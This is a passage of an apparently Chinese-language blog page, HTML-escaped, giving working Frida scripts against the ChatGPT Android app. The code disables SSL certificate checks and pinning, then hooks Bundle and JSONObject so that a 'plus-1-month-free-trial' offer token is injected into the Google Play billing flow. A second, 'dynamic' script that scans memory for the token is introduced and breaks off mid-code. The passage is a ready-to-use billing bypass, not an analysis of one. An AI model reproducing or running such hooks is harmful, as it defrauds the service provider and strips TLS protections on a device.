&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;[GPT] &amp;#34;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;msg&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nx"&gt;Java&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;perform&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;启动 — 注入 plus-1-month-free-trial&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// SSL 解除（防止证书验证失败）
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;TM&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;Java&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;use&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;com.android.org.conscrypt.TrustManagerImpl&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;TM&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;checkTrustedRecursive&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;overload&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;[Ljava.security.cert.X509Certificate;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;java.net.Socket&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;boolean&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;boolean&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;boolean&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;java.util.Collection&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;java.util.Collection&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;implementation&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;Java&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;use&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;java.util.ArrayList&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;$new&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt; &lt;span class="p"&gt;};&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;_&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;Java&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;use&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;android.security.net.config.NetworkSecurityTrustManager&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;checkPins&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;implementation&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{};&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;_&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;Java&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;use&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;android.net.http.X509TrustManagerExtensions&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;checkServerTrusted&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;overload&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;[Ljava.security.cert.X509Certificate;&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s2"&gt;&amp;#34;java.lang.String&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;java.lang.String&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;implementation&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nx"&gt;Java&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;use&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;java.util.ArrayList&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;$new&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt; &lt;span class="p"&gt;};&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;_&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// 注入 offerToken（Bundle 层）
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;JStr&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;Java&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;use&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;java.lang.String&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;Bundle&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;Java&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;use&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;android.os.Bundle&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;Bundle&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;putStringArrayList&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;overload&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;java.lang.String&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;java.util.ArrayList&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;implementation&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;value&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;((&lt;/span&gt;&lt;span class="nx"&gt;key&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;SKU_OFFER_ID_TOKEN_LIST&amp;#34;&lt;/span&gt; &lt;span class="o"&gt;||&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;key&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;OFFER_ID_TOKEN_LIST&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nx"&gt;value&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="nx"&gt;value&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;size&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;value&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;set&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;JStr&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;$new&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;OFFER_TOKEN&lt;/span&gt;&lt;span class="p"&gt;));&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;offerToken 已注入&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;putStringArrayList&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;key&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nx"&gt;value&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;};&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;_&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// 注入 offerToken（JSONObject 层）
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;JSONObj&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;Java&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;use&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;org.json.JSONObject&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;JSONObj&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;$init&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;overload&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;java.lang.String&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;).&lt;/span&gt;&lt;span class="nx"&gt;implementation&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;s&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;s&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nx"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;indexOf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;oai.chatgpt.plus&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;!==&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;indexOf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;offerToken&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;!==&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;patched&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;s&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;replace&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="sr"&gt;/&amp;#34;offerToken&amp;#34;\s*:\s*&amp;#34;[^&amp;#34;]+&amp;#34;/g&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="s1"&gt;&amp;#39;&amp;#34;offerToken&amp;#34;:&amp;#34;&amp;#39;&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="nx"&gt;OFFER_TOKEN&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;&amp;#34;&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;$init&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;patched&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;$init&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;s&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;};&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;catch&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;_&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;#34;就绪。请在 ChatGPT 中点击订阅按钮。&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;});&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="完整-frida-脚本动态捕获版"&gt;完整 Frida 脚本（动态捕获版）
&lt;/h3&gt;&lt;p&gt;如果你拿到的 offerToken 格式有变化，可以使用这个动态捕获版本。它会自动扫描内存中的 offerToken 并替换：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-javascript" data-lang="javascript"&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="c1"&gt;// Dynamic offerToken — 1 MONTH FREE Plus trial
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;&lt;span class="nx"&gt;Java&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;perform&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;[*] plus-1-month-free-trial&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;TARGET_OFFER_ID&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;#34;plus-1-month-free-trial&amp;#34;&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;capturedToken&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;null&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nx"&gt;scanC3qInstances&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;Java&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;choose&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;c3q&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="nx"&gt;onMatch&lt;/span&gt;&lt;span class="o"&gt;:&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;inst&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;try&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="cl"&gt; &lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;clazz&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;inst&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;getClass&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
